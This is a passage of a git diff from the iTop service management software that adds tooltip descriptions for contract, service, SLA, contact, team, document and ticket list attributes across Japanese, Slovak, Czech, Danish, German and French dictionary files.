'Class:Contract/Attribute:contacts_list+' => '', + 'Class:Contract/Attribute:contacts_list+' => 'All the contacts for this customer contract~~', 'Class:Contract/Attribute:documents_list' => '文書', - 'Class:Contract/Attribute:documents_list+' => '', + 'Class:Contract/Attribute:documents_list+' => 'All the documents for this customer contract~~', 'Class:Contract/Attribute:description' => '説明', 'Class:Contract/Attribute:description+' => '', 'Class:Contract/Attribute:start_date' => '開始日', @@ -131,7 +131,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:CustomerContract' => '顧客契約', 'Class:CustomerContract+' => '', 'Class:CustomerContract/Attribute:services_list' => 'サービス', - 'Class:CustomerContract/Attribute:services_list+' => '', + 'Class:CustomerContract/Attribute:services_list+' => 'All the services purchased for this contract~~', )); // @@ -142,7 +142,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:ProviderContract' => 'プロバイダー契約', 'Class:ProviderContract+' => '', 'Class:ProviderContract/Attribute:functionalcis_list' => 'CI', - 'Class:ProviderContract/Attribute:functionalcis_list+' => '', + 'Class:ProviderContract/Attribute:functionalcis_list+' => 'All the configuration items covered by this provider contract~~', 'Class:ProviderContract/Attribute:sla' => 'SLA', 'Class:ProviderContract/Attribute:sla+' => 'サービスレベルアグリーメント', 'Class:ProviderContract/Attribute:coverage' => 'サービス時間帯', @@ -199,7 +199,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:ServiceFamily/Attribute:icon' => 'Icon~~', 'Class:ServiceFamily/Attribute:icon+' => '', 'Class:ServiceFamily/Attribute:services_list' => 'サービス', - 'Class:ServiceFamily/Attribute:services_list+' => '', + 'Class:ServiceFamily/Attribute:services_list+' => 'All the services in this category~~', )); // @@ -222,9 +222,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Service/Attribute:description' => '説明', 'Class:Service/Attribute:description+' => '', 'Class:Service/Attribute:documents_list' => '文書', - 'Class:Service/Attribute:documents_list+' => '', + 'Class:Service/Attribute:documents_list+' => 'All the documents linked to the service~~', 'Class:Service/Attribute:contacts_list' => '連絡先', - 'Class:Service/Attribute:contacts_list+' => '', + 'Class:Service/Attribute:contacts_list+' => 'All the contacts for this service~~', 'Class:Service/Attribute:status' => '状態', 'Class:Service/Attribute:status+' => '', 'Class:Service/Attribute:status/Value:implementation' => '実装中', @@ -236,13 +236,13 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Service/Attribute:icon' => 'Icon~~', 'Class:Service/Attribute:icon+' => '~~', 'Class:Service/Attribute:customercontracts_list' => '顧客契約', - 'Class:Service/Attribute:customercontracts_list+' => '', + 'Class:Service/Attribute:customercontracts_list+' => 'All the customer contracts that have purchased this service~~', 'Class:Service/Attribute:providercontracts_list' => 'プロバイダー契約', - 'Class:Service/Attribute:providercontracts_list+' => '', + 'Class:Service/Attribute:providercontracts_list+' => 'All the provider contracts to support this service~~', 'Class:Service/Attribute:functionalcis_list' => '依存するCI', - 'Class:Service/Attribute:functionalcis_list+' => '', + 'Class:Service/Attribute:functionalcis_list+' => 'All the configuration items that are used to provide this service~~', 'Class:Service/Attribute:servicesubcategories_list' => 'サービスサブカテゴリ', - 'Class:Service/Attribute:servicesubcategories_list+' => '', + 'Class:Service/Attribute:servicesubcategories_list+' => 'All the sub categories for this service~~', )); // @@ -326,9 +326,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:SLA/Attribute:organization_name' => 'プロバイダ名', 'Class:SLA/Attribute:organization_name+' => '共通名', 'Class:SLA/Attribute:slts_list' => 'SLT', - 'Class:SLA/Attribute:slts_list+' => '', + 'Class:SLA/Attribute:slts_list+' => 'All the service level targets for this SLA~~', 'Class:SLA/Attribute:customercontracts_list' => '顧客連絡先', - 'Class:SLA/Attribute:customercontracts_list+' => '', + 'Class:SLA/Attribute:customercontracts_list+' => 'All the customer contracts using this SLA~~', 'Class:SLA/Error:UniqueLnkCustomerContractToService' => 'Could not save link with Customer contract %1$s and service %2$s : SLA already exists~~', )); @@ -454,9 +454,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:DeliveryModel/Attribute:description' => '説明', 'Class:DeliveryModel/Attribute:description+' => '', 'Class:DeliveryModel/Attribute:contacts_list' => '連絡先', - 'Class:DeliveryModel/Attribute:contacts_list+' => '', + 'Class:DeliveryModel/Attribute:contacts_list+' => 'All the contacts (Teams and Person) for this delivery model~~', 'Class:DeliveryModel/Attribute:customers_list' => '顧客', - 'Class:DeliveryModel/Attribute:customers_list+' => '', + 'Class:DeliveryModel/Attribute:customers_list+' => 'All the customers having this delivering model~~', )); // diff --git a/datamodels/2.x/itop-service-mgmt/dictionaries/sk.dict.itop-service-mgmt.php b/datamodels/2.x/itop-service-mgmt/dictionaries/sk.dict.itop-service-mgmt.php index 196a013fe..f29f45e8b 100644 --- a/datamodels/2.x/itop-service-mgmt/dictionaries/sk.dict.itop-service-mgmt.php +++ b/datamodels/2.x/itop-service-mgmt/dictionaries/sk.dict.itop-service-mgmt.php @@ -93,9 +93,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Contract/Attribute:organization_name' => 'Meno zákazníka', 'Class:Contract/Attribute:organization_name+' => '', 'Class:Contract/Attribute:contacts_list' => 'Kontakty', - 'Class:Contract/Attribute:contacts_list+' => '', + 'Class:Contract/Attribute:contacts_list+' => 'All the contacts for this customer contract~~', 'Class:Contract/Attribute:documents_list' => 'Zoznam dokumentov', - 'Class:Contract/Attribute:documents_list+' => '', + 'Class:Contract/Attribute:documents_list+' => 'All the documents for this customer contract~~', 'Class:Contract/Attribute:description' => 'Popis', 'Class:Contract/Attribute:description+' => '', 'Class:Contract/Attribute:start_date' => 'Dátum začiatku', @@ -141,7 +141,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:CustomerContract' => 'Zákaznícka zmluva', 'Class:CustomerContract+' => '', 'Class:CustomerContract/Attribute:services_list' => 'Služby', - 'Class:CustomerContract/Attribute:services_list+' => '', + 'Class:CustomerContract/Attribute:services_list+' => 'All the services purchased for this contract~~', )); // @@ -152,7 +152,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:ProviderContract' => 'Poskytovateľská zmluva', 'Class:ProviderContract+' => '', 'Class:ProviderContract/Attribute:functionalcis_list' => 'Zariadenia', - 'Class:ProviderContract/Attribute:functionalcis_list+' => '', + 'Class:ProviderContract/Attribute:functionalcis_list+' => 'All the configuration items covered by this provider contract~~', 'Class:ProviderContract/Attribute:sla' => 'SLA', 'Class:ProviderContract/Attribute:sla+' => '', 'Class:ProviderContract/Attribute:coverage' => 'Časy pokrytia', @@ -209,7 +209,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:ServiceFamily/Attribute:icon' => 'Icon~~', 'Class:ServiceFamily/Attribute:icon+' => '~~', 'Class:ServiceFamily/Attribute:services_list' => 'Služby', - 'Class:ServiceFamily/Attribute:services_list+' => '', + 'Class:ServiceFamily/Attribute:services_list+' => 'All the services in this category~~', )); // @@ -232,9 +232,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Service/Attribute:description' => 'Popis', 'Class:Service/Attribute:description+' => '', 'Class:Service/Attribute:documents_list' => 'Dokumenty', - 'Class:Service/Attribute:documents_list+' => '', + 'Class:Service/Attribute:documents_list+' => 'All the documents linked to the service~~', 'Class:Service/Attribute:contacts_list' => 'Kontakty', - 'Class:Service/Attribute:contacts_list+' => '', + 'Class:Service/Attribute:contacts_list+' => 'All the contacts for this service~~', 'Class:Service/Attribute:status' => 'Stav', 'Class:Service/Attribute:status+' => '', 'Class:Service/Attribute:status/Value:implementation' => 'Implementácia', @@ -246,13 +246,13 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Service/Attribute:icon' => 'Icon~~', 'Class:Service/Attribute:icon+' => '~~', 'Class:Service/Attribute:customercontracts_list' => 'Zákaznícke zmluvy', - 'Class:Service/Attribute:customercontracts_list+' => '', + 'Class:Service/Attribute:customercontracts_list+' => 'All the customer contracts that have purchased this service~~', 'Class:Service/Attribute:providercontracts_list' => 'Poskytovateľské zmluvy', - 'Class:Service/Attribute:providercontracts_list+' => '', + 'Class:Service/Attribute:providercontracts_list+' => 'All the provider contracts to support this service~~', 'Class:Service/Attribute:functionalcis_list' => 'Zariadenia', - 'Class:Service/Attribute:functionalcis_list+' => '', + 'Class:Service/Attribute:functionalcis_list+' => 'All the configuration items that are used to provide this service~~', 'Class:Service/Attribute:servicesubcategories_list' => 'Podkategórie služieb', - 'Class:Service/Attribute:servicesubcategories_list+' => '', + 'Class:Service/Attribute:servicesubcategories_list+' => 'All the sub categories for this service~~', )); // @@ -336,9 +336,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:SLA/Attribute:organization_name' => 'Názov organizácie poskytovateľa', 'Class:SLA/Attribute:organization_name+' => '', 'Class:SLA/Attribute:slts_list' => 'SLTs', - 'Class:SLA/Attribute:slts_list+' => '', + 'Class:SLA/Attribute:slts_list+' => 'All the service level targets for this SLA~~', 'Class:SLA/Attribute:customercontracts_list' => 'Zákaznícke zmluvy', - 'Class:SLA/Attribute:customercontracts_list+' => '', + 'Class:SLA/Attribute:customercontracts_list+' => 'All the customer contracts using this SLA~~', 'Class:SLA/Error:UniqueLnkCustomerContractToService' => 'Could not save link with Customer contract %1$s and service %2$s : SLA already exists~~', )); @@ -464,9 +464,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:DeliveryModel/Attribute:description' => 'Popis', 'Class:DeliveryModel/Attribute:description+' => '', 'Class:DeliveryModel/Attribute:contacts_list' => 'Kontakty', - 'Class:DeliveryModel/Attribute:contacts_list+' => '', + 'Class:DeliveryModel/Attribute:contacts_list+' => 'All the contacts (Teams and Person) for this delivery model~~', 'Class:DeliveryModel/Attribute:customers_list' => 'Zákazníci', - 'Class:DeliveryModel/Attribute:customers_list+' => '', + 'Class:DeliveryModel/Attribute:customers_list+' => 'All the customers having this delivering model~~', )); // diff --git a/datamodels/2.x/itop-structure/dictionaries/cs.dict.itop-structure.php b/datamodels/2.x/itop-structure/dictionaries/cs.dict.itop-structure.php index b664a3bec..5708cae26 100644 --- a/datamodels/2.x/itop-structure/dictionaries/cs.dict.itop-structure.php +++ b/datamodels/2.x/itop-structure/dictionaries/cs.dict.itop-structure.php @@ -217,7 +217,7 @@ Dict::Add('CS CZ', 'Czech', 'Čeština', array( 'Class:Document/Attribute:status/Value:published' => 'Publikovaný', 'Class:Document/Attribute:status/Value:published+' => '', 'Class:Document/Attribute:cis_list' => 'Konfigurační položky', - 'Class:Document/Attribute:cis_list+' => '', + 'Class:Document/Attribute:cis_list+' => 'All the configuration items linked to this document~~', 'Class:Document/Attribute:finalclass' => 'Typ dokumentu', 'Class:Document/Attribute:finalclass+' => '', )); diff --git a/datamodels/2.x/itop-structure/dictionaries/da.dict.itop-structure.php b/datamodels/2.x/itop-structure/dictionaries/da.dict.itop-structure.php index abeab267c..1966b69f5 100644 --- a/datamodels/2.x/itop-structure/dictionaries/da.dict.itop-structure.php +++ b/datamodels/2.x/itop-structure/dictionaries/da.dict.itop-structure.php @@ -85,9 +85,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Location/Attribute:country' => 'Land', 'Class:Location/Attribute:country+' => '', 'Class:Location/Attribute:physicaldevice_list' => 'List Fysiske Enheder', - 'Class:Location/Attribute:physicaldevice_list+' => '', + 'Class:Location/Attribute:physicaldevice_list+' => 'All the devices in this location~~', 'Class:Location/Attribute:person_list' => 'List Kontakter', - 'Class:Location/Attribute:person_list+' => '', + 'Class:Location/Attribute:person_list+' => 'All the contacts located on this location~~', )); // @@ -122,7 +122,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Contact/Attribute:function' => 'Funktion', 'Class:Contact/Attribute:function+' => '', 'Class:Contact/Attribute:cis_list' => 'CIs', - 'Class:Contact/Attribute:cis_list+' => '', + 'Class:Contact/Attribute:cis_list+' => 'All the configuration items linked to this contact~~', 'Class:Contact/Attribute:finalclass' => 'Type', 'Class:Contact/Attribute:finalclass+' => '', )); @@ -151,9 +151,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Person/Attribute:manager_name' => 'Manager-Navn', 'Class:Person/Attribute:manager_name+' => '', 'Class:Person/Attribute:team_list' => 'List Teams', - 'Class:Person/Attribute:team_list+' => '', + 'Class:Person/Attribute:team_list+' => 'All the teams this person belongs to~~', 'Class:Person/Attribute:tickets_list' => 'List Tickets', - 'Class:Person/Attribute:tickets_list+' => '', + 'Class:Person/Attribute:tickets_list+' => 'All the tickets this person is the caller~~', 'Class:Person/Attribute:manager_id_friendlyname' => 'Manager Friendly Name', 'Class:Person/Attribute:manager_id_friendlyname+' => '', 'Class:Person/Attribute:picture' => 'Picture~~', @@ -172,9 +172,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Team' => 'Team', 'Class:Team+' => '', 'Class:Team/Attribute:persons_list' => 'List Medlemmer', - 'Class:Team/Attribute:persons_list+' => '', + 'Class:Team/Attribute:persons_list+' => 'All the people belonging to this team~~', 'Class:Team/Attribute:tickets_list' => 'List Tickets', - 'Class:Team/Attribute:tickets_list+' => '', + 'Class:Team/Attribute:tickets_list+' => 'All the tickets assigned to this team~~', )); // @@ -207,7 +207,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Document/Attribute:status/Value:published' => 'Offentlig', 'Class:Document/Attribute:status/Value:published+' => '', 'Class:Document/Attribute:cis_list' => 'CIs', - 'Class:Document/Attribute:cis_list+' => '', + 'Class:Document/Attribute:cis_list+' => 'All the configuration items linked to this document~~', 'Class:Document/Attribute:finalclass' => 'Dokumenttype', 'Class:Document/Attribute:finalclass+' => '', )); diff --git a/datamodels/2.x/itop-structure/dictionaries/de.dict.itop-structure.php b/datamodels/2.x/itop-structure/dictionaries/de.dict.itop-structure.php index 9445698ff..4fc1fa0e5 100644 --- a/datamodels/2.x/itop-structure/dictionaries/de.dict.itop-structure.php +++ b/datamodels/2.x/itop-structure/dictionaries/de.dict.itop-structure.php @@ -94,9 +94,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Location/Attribute:country' => 'Land', 'Class:Location/Attribute:country+' => '', 'Class:Location/Attribute:physicaldevice_list' => 'Geräte', - 'Class:Location/Attribute:physicaldevice_list+' => '', + 'Class:Location/Attribute:physicaldevice_list+' => 'All the devices in this location~~', 'Class:Location/Attribute:person_list' => 'Kontakte', - 'Class:Location/Attribute:person_list+' => '', + 'Class:Location/Attribute:person_list+' => 'All the contacts located on this location~~', )); // @@ -131,7 +131,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Contact/Attribute:function' => 'Funktion', 'Class:Contact/Attribute:function+' => '', 'Class:Contact/Attribute:cis_list' => 'CIs', - 'Class:Contact/Attribute:cis_list+' => '', + 'Class:Contact/Attribute:cis_list+' => 'All the configuration items linked to this contact~~', 'Class:Contact/Attribute:finalclass' => 'Typ', 'Class:Contact/Attribute:finalclass+' => '', )); @@ -160,9 +160,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Person/Attribute:manager_name' => 'Manager-Name', 'Class:Person/Attribute:manager_name+' => '', 'Class:Person/Attribute:team_list' => 'Teams', - 'Class:Person/Attribute:team_list+' => '', + 'Class:Person/Attribute:team_list+' => 'All the teams this person belongs to~~', 'Class:Person/Attribute:tickets_list' => 'Tickets', - 'Class:Person/Attribute:tickets_list+' => '', + 'Class:Person/Attribute:tickets_list+' => 'All the tickets this person is the caller~~', 'Class:Person/Attribute:manager_id_friendlyname' => 'Manager-Name (lesbar)', 'Class:Person/Attribute:manager_id_friendlyname+' => '', 'Class:Person/Attribute:picture' => 'Bild', @@ -181,9 +181,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Team' => 'Team', 'Class:Team+' => '', 'Class:Team/Attribute:persons_list' => 'Mitglieder', - 'Class:Team/Attribute:persons_list+' => '', + 'Class:Team/Attribute:persons_list+' => 'All the people belonging to this team~~', 'Class:Team/Attribute:tickets_list' => 'Tickets', - 'Class:Team/Attribute:tickets_list+' => '', + 'Class:Team/Attribute:tickets_list+' => 'All the tickets assigned to this team~~', )); // @@ -216,7 +216,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Document/Attribute:status/Value:published' => 'Veröffentlicht', 'Class:Document/Attribute:status/Value:published+' => '', 'Class:Document/Attribute:cis_list' => 'CIs', - 'Class:Document/Attribute:cis_list+' => '', + 'Class:Document/Attribute:cis_list+' => 'All the configuration items linked to this document~~', 'Class:Document/Attribute:finalclass' => 'Dokumenttyp', 'Class:Document/Attribute:finalclass+' => '', )); diff --git a/datamodels/2.x/itop-structure/dictionaries/fr.dict.itop-structure.php b/datamodels/2.x/itop-structure/dictionaries/fr.dict.itop-structure.php index 600e5b35e..16adf00cf 100644 --- a/datamodels/2.x/itop-structure/dictionaries/fr.dict.itop-structure.php +++ b/datamodels/2.x/itop-structure/dictionaries/fr.dict.itop-structure.php @@ -116,9 +116,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Location/Attribute:country' => 'Pays', 'Class:Location/Attribute:country+' => '', 'Class:Location/Attribute:physicaldevice_list' => 'Matériels', - 'Class:Location/Attribute:physicaldevice_list+' => '', + 'Class:Location/Attribute:physicaldevice_list+' => 'Tous les matériels dans ce lieu', 'Class:Location/Attribute:person_list' => 'Contacts', - 'Class:Location/Attribute:person_list+' => '', + 'Class:Location/Attribute:person_list+' => 'Tous les contacts situés dans ce lieu', )); // @@ -153,7 +153,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Contact/Attribute:function' => 'Fonction', 'Class:Contact/Attribute:function+' => '', 'Class:Contact/Attribute:cis_list' => 'CIs', - 'Class:Contact/Attribute:cis_list+' => '', + 'Class:Contact/Attribute:cis_list+' => 'Tous les éléments de configuration liés à ce contact', 'Class:Contact/Attribute:finalclass' => 'Sous-classe de Contact', 'Class:Contact/Attribute:finalclass+' => 'Nom de la classe instanciable', )); @@ -182,9 +182,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Person/Attribute:manager_name' => 'Nom Manager', 'Class:Person/Attribute:manager_name+' => '', 'Class:Person/Attribute:team_list' => 'Equipes', - 'Class:Person/Attribute:team_list+' => '', + 'Class:Person/Attribute:team_list+' => 'Toutes les équipes dont fait partie cette personne', 'Class:Person/Attribute:tickets_list' => 'Tickets', - 'Class:Person/Attribute:tickets_list+' => '', + 'Class:Person/Attribute:tickets_list+' => 'Tous les tickets dont cette personne est le bénéficiaire', 'Class:Person/Attribute:manager_id_friendlyname' => 'Manager friendly name', 'Class:Person/Attribute:manager_id_friendlyname+' => '', 'Class:Person/Attribute:picture' => 'Photo', @@ -204,9 +204,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Team' => 'Equipe', 'Class:Team+' => '', 'Class:Team/Attribute:persons_list' => 'Membres', - 'Class:Team/Attribute:persons_list+' => '', + 'Class:Team/Attribute:persons_list+' => 'Toutes les personnes appartenant à cette équipe', 'Class:Team/Attribute:tickets_list' => 'Tickets', - 'Class:Team/Attribute:tickets_list+' => '', + 'Class:Team/Attribute:tickets_list+' => 'Tous les tickets assignés à cette équipe', )); // @@ -239,7 +239,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Document/Attribute:status/Value:published' => 'Publié', 'Class:Document/Attribute:status/Value:published+' => '', 'Class:Document/Attribute:cis_list' => 'CIs', - 'Class:Document/Attribute:cis_list+' => '', + 'Class:Document/Attribute:cis_list+' => 'Tous les éléments de configuration liés à ce document', 'Class:Document/Attribute:finalclass' => 'Sous-classe de Document', 'Class:Document/Attribute:finalclass+' => 'Nom de la classe instanciable', )); diff --git a/datamodels/2.x/itop-structure/dictionaries/ja.dict.itop-structure.php b/datamodels/2.x/itop-structure/dictionaries/ja.dict.itop-structure.php index 142e2ea2e..bb3fea1c2 100644 --- a/datamodels/2.x/itop-structure/dictionaries/ja.dict.itop-structure.php +++ b/datamodels/2.x/itop-structure/dictionaries/ja.dict.itop-structure.php @@ -87,9 +87,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Location/Attribute:country' => '国', 'Class:Location/Attribute:country+' => '', 'Class:Location/Attribute:physicaldevice_list' => 'デバイス', - 'Class:Location/Attribute:physicaldevice_list+' => '', + 'Class:Location/Attribute:physicaldevice_list+' => 'All the devices in this location~~', 'Class:Location/Attribute:person_list' => '連絡先', - 'Class:Location/Attribute:person_list+' => '', + 'Class:Location/Attribute:person_list+' => 'All the contacts located on this location~~', )); // @@ -124,7 +124,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Contact/Attribute:function' => '機能', 'Class:Contact/Attribute:function+' => '', 'Class:Contact/Attribute:cis_list' => 'CI', - 'Class:Contact/Attribute:cis_list+' => '', + 'Class:Contact/Attribute:cis_list+' => 'All the configuration items linked to this contact~~', 'Class:Contact/Attribute:finalclass' => '連絡先タイプ', 'Class:Contact/Attribute:finalclass+' => '', )); @@ -153,9 +153,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Person/Attribute:manager_name' => 'マネージャ名', 'Class:Person/Attribute:manager_name+' => '', 'Class:Person/Attribute:team_list' => 'チーム', - 'Class:Person/Attribute:team_list+' => '', + 'Class:Person/Attribute:team_list+' => 'All the teams this person belongs to~~', 'Class:Person/Attribute:tickets_list' => 'チケット', - 'Class:Person/Attribute:tickets_list+' => '', + 'Class:Person/Attribute:tickets_list+' => 'All the tickets this person is the caller~~', 'Class:Person/Attribute:manager_id_friendlyname' => 'マネージャーフレンドリ名', 'Class:Person/Attribute:manager_id_friendlyname+' => '', 'Class:Person/Attribute:picture' => 'Picture~~', @@ -174,9 +174,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Team' => 'チーム', 'Class:Team+' => '', 'Class:Team/Attribute:persons_list' => 'メンバー', - 'Class:Team/Attribute:persons_list+' => '', + 'Class:Team/Attribute:persons_list+' => 'All the people belonging to this team~~', 'Class:Team/Attribute:tickets_list' => 'チケット', - 'Class:Team/Attribute:tickets_list+' => '', + 'Class:Team/Attribute:tickets_list+' => 'All the tickets assigned to this team~~', )); // @@ -209,7 +209,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Document/Attribute:status/Value:published' => '公開済み', 'Class:Document/Attribute:status/Value:published+' => '', 'Class:Document/Attribute:cis_list' => 'CI', - 'Class:Document/Attribute:cis_list+' => '', + 'Class:Document/Attribute:cis_list+' => 'All the configuration items linked to this document~~', 'Class:Document/Attribute:finalclass' => '文書タイプ', 'Class:Document/Attribute:finalclass+' => '', )); diff --git a/datamodels/2.x/itop-structure/dictionaries/sk.dict.itop-structure.php b/datamodels/2.x/itop-structure/dictionaries/sk.dict.itop-structure.php index 098f2cc67..3c537c0a3 100644 --- a/datamodels/2.x/itop-structure/dictionaries/sk.dict.itop-structure.php +++ b/datamodels/2.x/itop-structure/dictionaries/sk.dict.itop-structure.php @@ -87,9 +87,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Location/Attribute:country' => 'Štát', 'Class:Location/Attribute:country+' => '', 'Class:Location/Attribute:physicaldevice_list' => 'Zariadenia', - 'Class:Location/Attribute:physicaldevice_list+' => '', + 'Class:Location/Attribute:physicaldevice_list+' => 'All the devices in this location~~', 'Class:Location/Attribute:person_list' => 'Kontakty', - 'Class:Location/Attribute:person_list+' => '', + 'Class:Location/Attribute:person_list+' => 'All the contacts located on this location~~', )); // @@ -124,7 +124,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Contact/Attribute:function' => 'Funkcia', 'Class:Contact/Attribute:function+' => '', 'Class:Contact/Attribute:cis_list' => 'Zariadenia', - 'Class:Contact/Attribute:cis_list+' => '', + 'Class:Contact/Attribute:cis_list+' => 'All the configuration items linked to this contact~~', 'Class:Contact/Attribute:finalclass' => 'Typ kontaktu', 'Class:Contact/Attribute:finalclass+' => '', )); @@ -153,9 +153,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Person/Attribute:manager_name' => 'Meno manažéra', 'Class:Person/Attribute:manager_name+' => '', 'Class:Person/Attribute:team_list' => 'Tímy', - 'Class:Person/Attribute:team_list+' => '', + 'Class:Person/Attribute:team_list+' => 'All the teams this person belongs to~~', 'Class:Person/Attribute:tickets_list' => 'Tickety', - 'Class:Person/Attribute:tickets_list+' => '', + 'Class:Person/Attribute:tickets_list+' => 'All the tickets this person is the caller~~', 'Class:Person/Attribute:manager_id_friendlyname' => 'Ľahko čitateľné meno manažéra', 'Class:Person/Attribute:manager_id_friendlyname+' => '', 'Class:Person/Attribute:picture' => 'Picture~~', @@ -174,9 +174,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Team' => 'Tím', 'Class:Team+' => '', 'Class:Team/Attribute:persons_list' => 'Osoby', - 'Class:Team/Attribute:persons_list+' => '', + 'Class:Team/Attribute:persons_list+' => 'All the people belonging to this team~~', 'Class:Team/Attribute:tickets_list' => 'Tickety', - 'Class:Team/Attribute:tickets_list+' => '', + 'Class:Team/Attribute:tickets_list+' => 'All the tickets assigned to this team~~', )); // @@ -209,7 +209,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Document/Attribute:status/Value:published' => 'Publikovaný', 'Class:Document/Attribute:status/Value:published+' => '', 'Class:Document/Attribute:cis_list' => 'Komponenty', - 'Class:Document/Attribute:cis_list+' => '', + 'Class:Document/Attribute:cis_list+' => 'All the configuration items linked to this document~~', 'Class:Document/Attribute:finalclass' => 'Typ dokumentu', 'Class:Document/Attribute:finalclass+' => '', )); diff --git a/datamodels/2.x/itop-tickets/dictionaries/cs.dict.itop-tickets.php b/datamodels/2.x/itop-tickets/dictionaries/cs.dict.itop-tickets.php index 3de495be3..cfb1315d5 100644 --- a/datamodels/2.x/itop-tickets/dictionaries/cs.dict.itop-tickets.php +++ b/datamodels/2.x/itop-tickets/dictionaries/cs.dict.itop-tickets.php @@ -252,7 +252,7 @@ Dict::Add('CS CZ', 'Czech', 'Čeština', array( Dict::Add('CS CZ', 'Czech', 'Čeština', array( 'Class:Document/Attribute:contracts_list' => 'Smlouvy', - 'Class:Document/Attribute:contracts_list+' => '', + 'Class:Document/Attribute:contracts_list+' => 'All the contracts linked to this document~~', 'Class:Document/Attribute:services_list' => 'Služby', - 'Class:Document/Attribute:services_list+' => '', + 'Class:Document/Attribute:services_list+' => 'All the services linked to this document~~', )); \ No newline at end of file diff --git a/datamodels/2.x/itop-tickets/dictionaries/da.dict.itop-tickets.php b/datamodels/2.x/itop-tickets/dictionaries/da.dict.itop-tickets.php index be43ed49a..81d46591f 100644 --- a/datamodels/2.x/itop-tickets/dictionaries/da.dict.itop-tickets.php +++ b/datamodels/2.x/itop-tickets/dictionaries/da.dict.itop-tickets.php @@ -56,11 +56,11 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Ticket/Attribute:private_log' => 'Privat Log', 'Class:Ticket/Attribute:private_log+' => '', 'Class:Ticket/Attribute:contacts_list' => 'Kontakt', - 'Class:Ticket/Attribute:contacts_list+' => '', + 'Class:Ticket/Attribute:contacts_list+' => 'All the contacts linked to this ticket~~', 'Class:Ticket/Attribute:functionalcis_list' => 'CIs', - 'Class:Ticket/Attribute:functionalcis_list+' => '', + 'Class:Ticket/Attribute:functionalcis_list+' => 'All the configuration items impacted by this ticket. Items marked as "Computed" have been automatically marked as impacted. Items marked as "Not impacted" are excluded from the impact.~~', 'Class:Ticket/Attribute:workorders_list' => 'Arbejdsordre', - 'Class:Ticket/Attribute:workorders_list+' => '', + 'Class:Ticket/Attribute:workorders_list+' => 'All the work orders for this ticket~~', 'Class:Ticket/Attribute:finalclass' => 'Type', 'Class:Ticket/Attribute:finalclass+' => '', 'Class:Ticket/Attribute:operational_status' => 'Operational status~~', @@ -237,7 +237,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Document/Attribute:contracts_list' => 'Kontrakter', - 'Class:Document/Attribute:contracts_list+' => '', + 'Class:Document/Attribute:contracts_list+' => 'All the contracts linked to this document~~', 'Class:Document/Attribute:services_list' => 'Ydelser', - 'Class:Document/Attribute:services_list+' => '', + 'Class:Document/Attribute:services_list+' => 'All the services linked to this document~~', )); \ No newline at end of file diff --git a/datamodels/2.x/itop-tickets/dictionaries/de.dict.itop-tickets.php b/datamodels/2.x/itop-tickets/dictionaries/de.dict.itop-tickets.php index 490c7e1ca..36b43a9ac 100644 --- a/datamodels/2.x/itop-tickets/dictionaries/de.dict.itop-tickets.php +++ b/datamodels/2.x/itop-tickets/dictionaries/de.dict.itop-tickets.php @@ -58,11 +58,11 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Ticket/Attribute:private_log' => 'Privates Log', 'Class:Ticket/Attribute:private_log+' => '', 'Class:Ticket/Attribute:contacts_list' => 'Kontakte', - 'Class:Ticket/Attribute:contacts_list+' => '', + 'Class:Ticket/Attribute:contacts_list+' => 'All the contacts linked to this ticket~~', 'Class:Ticket/Attribute:functionalcis_list' => 'CIs', - 'Class:Ticket/Attribute:functionalcis_list+' => '', + 'Class:Ticket/Attribute:functionalcis_list+' => 'All the configuration items impacted by this ticket. Items marked as "Computed" have been automatically marked as impacted. Items marked as "Not impacted" are excluded from the impact.~~', 'Class:Ticket/Attribute:workorders_list' => 'Arbeitsaufträge', - 'Class:Ticket/Attribute:workorders_list+' => 